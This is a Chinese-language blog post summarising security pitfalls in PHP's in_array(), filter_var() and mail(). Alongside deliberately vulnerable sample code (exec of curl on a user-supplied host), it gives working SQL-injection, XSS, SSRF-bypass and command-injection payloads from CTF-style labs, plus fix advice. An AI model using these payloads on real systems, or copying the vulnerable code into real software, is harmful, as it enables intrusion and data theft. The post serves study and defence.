欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

php危险函数文章总结(一)

程序员文章站 2022-07-15 15:46:19
...

php危险函数文章总结(一)

因为被分配的任务是总结文章,所以就对一篇文章深深的研究了一下,以下基本都是对该下的文章的总结。
原文在这里

in_array()

in_array :(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack,则返回 TRUE,否则返回 FALSE。

存在漏洞:

1. 上传漏洞(使用==)
原理:in_array()第三个参数默认为false。如果不进行设置,将会进行弱检查,即不会检查数据的类型。在校验的过程中,会自动选择性的进行强制类型转换,从而导致了弱类型的绕过。如:
in_array()函数检测上传文件时候,可未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()函数强制转换后变为7.php
例子:

<?php
$array = array(
    'abc' => true,
   'cheese' => false,
    'hair' => 765,
    'goblins' => null,
    'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments
// First three make sense, last four do not
var_dump(in_array(null, $array)); // true 强制类型转换bool(false) 
var_dump(in_array(false, $array)); // true //可以被强制类型转换为null
var_dump(in_array(765, $array)); // true 
var_dump(in_array(763, $array)); // true 被强制类型转换为bool(true)
var_dump(in_array('egg', $array)); // true被强制类型转换为bool(true)
var_dump(in_array('hhh', $array)); // true被强制类型转换为bool(true)
var_dump(in_array(array(), $array)); // true被强制类型转换为bool(false) 和null


// Strict checking
var_dump(in_array(null, $array, true)); // true
var_dump(in_array(false, $array, true)); // true
var_dump(in_array(765, $array, true)); // true
var_dump(in_array(763, $array, true)); // false
var_dump(in_array('egg', $array, true)); // false
var_dump(in_array('hhh', $array, true)); // false
var_dump(in_array(array(), $array, true)); // false

?>

2、Sql注入
原理:与xss类似

$allow = array(1,true);
$payload = "1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));";
var_dump(in_array($a,$allow));
//转换为int(1)或 转换为bool(true) 从而绕过

修复建议:
可以看到这个漏洞的原因是弱类型比较问题,那么我们就可以使用强匹配进行修复。例如将 in_array() 函数的第三个参数设置为 true ,或者使用 intval() 函数将变量强转成数字,又或者使用正则匹配来处理变量。这里我将 in_array() 函数的第三个参数设置为 true ,并使用===

参考文献
http://www.mamicode.com/info-detail-2494382.html
https://blog.csdn.net/weixin_38230961/article/details/82142432

filter_var()

filter_var : (PHP 5 >= 5.2.0, PHP 7)
功能 : 使用特定的过滤器过滤一个变量

定义 : mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

作用: filter_var() 函数通过指定的过滤器过滤一个变量。

返回值: 如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。

fileter可选项:
FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。
FILTER_FLAG_SCHEME_REQUIRED — 要求 URL 是 RFC 兼容 URL。(比如:http://example)
FILTER_FLAG_HOST_REQUIRED — 要求 URL 包含主机名(http://www.example.com)
FILTER_FLAG_PATH_REQUIRED — 要求 URL 在主机名后存在路径(比如:eg.com/example1/)
FILTER_FLAG_QUERY_REQUIRED — 要求 URL 存在查询字符串(比如:”eg.php?age=37")

存在的漏洞

1、xss漏洞

原理:
但是虽然是进行校验,在底层也是进行的正则匹配,因为验证的并不是非常严格,从而导致漏洞。如:

FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。

只需要满足url格式,无论输入什么都满足,比如 abc://a 只要有这个格式,后边无论是什么都满足。所以导致了使用javascript中的伪协议

if(isset($_GET['url'])){
	if($url = filter_var($_GET['url'],FILTER_VALIDATE_URL))
	{
		echo $url;
	}else{
		echo "this url is not allow";
	}
}else{
	echo "not found \$_GET['url']";
}

php危险函数文章总结(一)

PHP7.3.0+弃用)
FILTER_FLAG_SCHEME_REQUIRED - 要求 URLRFC 兼容 URL(比如 http://example)
FILTER_FLAG_HOST_REQUIRED - 要求 URL 包含主机名(比如 http://www.example.com)
FILTER_FLAG_PATH_REQUIRED - 要求 URL 在域名后存在路径(比如 www.example.com/example1/test2/FILTER_FLAG_QUERY_REQUIRED - 要求 URL 存在查询字符串(比如 “example.php?name=Peter&age=37”)

伪协议绕过

例子

payload : ?url=javascript://comment%250aalert(1)

:javascript后面的//是注释符,%25是url转义后的% ,所以%250a就是%0a,所以payload就成了javascript://comment
Alert(1)
php危险函数文章总结(一)
参考文献
javascript绕过xss
同上
filter_var 函数()使用javascript伪协议绕过执行xss
关于filter_var函数弃用参数

2、ssrf漏洞

原理: 同样是因为filter_var基层的正则匹配不严格

<?php

if(filter_var($_GET['url'],FILTER_VALIDATE_URL)){ 

  $r = parse_url($_GET['url']); print_r($r); 
  
  if(preg_match('/google.com$/', $r['host'])) { 
  
     echo  exec('curl "'.$r['host'].'"',$a); 
     
 print_r($a);
    }
  else { echo "Error: Host not allowed"; }
        }
        else { echo "Error: Invalid URL"; } ?>

payload : http://127.0.0.1/test2.php?url=0://www.baidu.com$google.com
(虽然话是这么说,但是我第一次弄,出来了。第二次再次尝试,却失败,哪里出错了呢?有大佬知道吗?)

解释:
其中可见过滤使用的是filter_var(URL,FILTER_VALIDATE_URL)+ parse_url(URL)+preg_match(’/google.com$/’, URL)+ file_get_contents(URL)

绕过正则匹配,只需要是以google.com结尾就OK了,所以这个时候就需要用到另外一个知识,如下:

许多URL方案中都有保留字符,保留字符都有特定含义。它们在URL的方案特定部分中的外观具有指定的语义。如果在一个方案中保留了与八位组相对应的字符,则该八位组必须被编码。除了字符“;”, “/”, “?”, “:”, “@”, “=” 和 “&” 被定义为保留字符,其余一律为不保留字符。
除了分层路径中的dot-segments之外,一般语法认为路径段不透明。 生成应用程序的URI通常使用段中允许的保留字符来分隔scheme-specific或者dereference-handler-specific子组件。 例如分号(“;”) 和等于(“=”) 保留字符通常用于分隔适用于该段的参数和参数值。 逗号(“,”) 保留字符通常用于类似目的。
例如,一个URI生产者可能使用一个段name;v=1.1来表示对“name”版本1.1的引用,而另一个可能使用诸如“name,1.1”的段来表示相同含义。参数类型可以由scheme-specific 语义来定义,但在大多数情况下,一个参数的语法是特定的URI引用算法的实现。

所以绕过的手段就成了

http://localhost/index.php?url=http://aaa@qq.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
http://127.0.0.1/test/?1=data://google.com/123;base64,SSBsb3ZlIFBIUAo=

PS: 最后一个payload的#符号,请换成对应的url编码 %23

再配合http:// file:// test://绕过 filter_var 的 FILTER_VALIDATE_URL 过滤器,这就导致了SSRF

php危险函数文章总结(一)Payload:
http://127.0.0.1/test/index7.php?1=data://google.com/123;base64,PHNjcmlwdD5hbGVydCgnMScpOzwvc2NyaXB0Pg==

注:base64,<script>alert(‘1’);</script>

参考文献
https://blog.csdn.net/qq_33020901/article/details/79580531
http://www.52bug.cn/hkjs/4631.html

命令执行:
换汤不换药,以下是一个CTF题型 原文

php危险函数文章总结(一)Payload: windows:
http://127.0.0.1/exchange/filter_var/domo2.php?url=test://"|type=flag.php;||"sec-redclub.com

自己搭建的与上类似的命令执行
php危险函数文章总结(一)
Payload:
127.0.0.1/test/index7.php?1=abc://whoami||;google.com

注: || 表示当前一句命令失败后才执行后面的语句

修复:
别过于信任filter_var对url,进行的判断,或者自己编写正则表达式进行匹配,另外注意避免同时使用 escapeshellcmd() 和 escapeshellarg() 函数对参数进行过滤

参考
https://xz.aliyun.com/t/2501#toc-5
http://www.am0s.com/functions/227.html

mail函数

php 内置函数 mail 所引发的命令执行漏洞。我们先看看 php 自带的 mail 函数的用法:

bool mail (
    string $to ,
    string $subject ,
    string $message [,
    string $additional_headers [,
    string $additional_parameters ]]
)

其参数含义分别表示如下:
• to,指定邮件接收者,即接收人
• subject,邮件的标题
• message,邮件的正文内容
• additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
• additional_parameters,指定传递给发送程序sendmail的额外参数。

在Linux系统上, php 的 mail 函数在底层中已经写好了,默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:
• -O option = value
QueueDirectory = queuedir 选择队列消息
• -X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
• -f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
下面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 中写入如下数据:
php危险函数文章总结(一)